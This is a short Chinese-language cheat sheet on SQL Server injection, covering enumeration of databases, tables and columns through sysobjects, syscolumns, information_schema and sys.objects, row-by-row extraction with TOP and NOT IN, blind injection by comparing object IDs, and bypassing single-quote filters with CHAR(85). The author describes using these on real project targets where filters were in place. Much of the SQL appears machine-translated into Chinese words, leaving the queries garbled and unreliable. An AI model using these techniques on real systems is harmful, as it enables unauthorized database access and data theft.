查库
选择convert(int,db_name())
sysobjects
查当前表id
,从sysobjects中选择id,xtype ='u'//此处要记录下数据库的id
syscolumns
查表对应的列
select * from syscolumns where id = xxxx //上面查到的id
从id = 2105058535的syscolumns中选择前1个名称并命名NOT IN(从id = 2105058535的syscolumns中选择前1个名称)//用TOP和NOT IN来限制数据
从test1选择TOP 1用户名,其中用户名NOT IN(从test1选择TOP 1用户名)
从test1选择TOP 1用户名,其中ID NOT IN(从test1选择TOP 0用户名)
information_schema
查表从information_schema.tables中选择table_name,其中table_schema ='dbo'
查列从information_schema.columns中选择column_name,其中table_name ='test1'
关于sys.objects合sys.columns
这两个表同样也可以拿来注入存在版本好像是sqlserver 2005版本以上就有之前项目遇到一个注入点但是sysobjects和information_schema给过滤刚好可以用这两个表来达到注入效果
通过object_id来获取列名
实际注入中很少联合查询的注入大多数都是盲注像盲注这种情况可以通过(从sys.objects中选择object_id,其中name ='XXX')> xxxx来判断对应表的object id
2:无单引号注入
之前一直没有考虑到单引号这一点最近项目遇到研究以下
首先是查sysobjectsburstid
从选择id(从sysobjects中选择xtype = CHAR(85)的id)作为b其中id> 2000000000
常见情况
从ID = 1的aab中选择*和(从xtype = CHAR(85)的sysobjects中选择id)> 10000000000
大概就是这样其他大同小异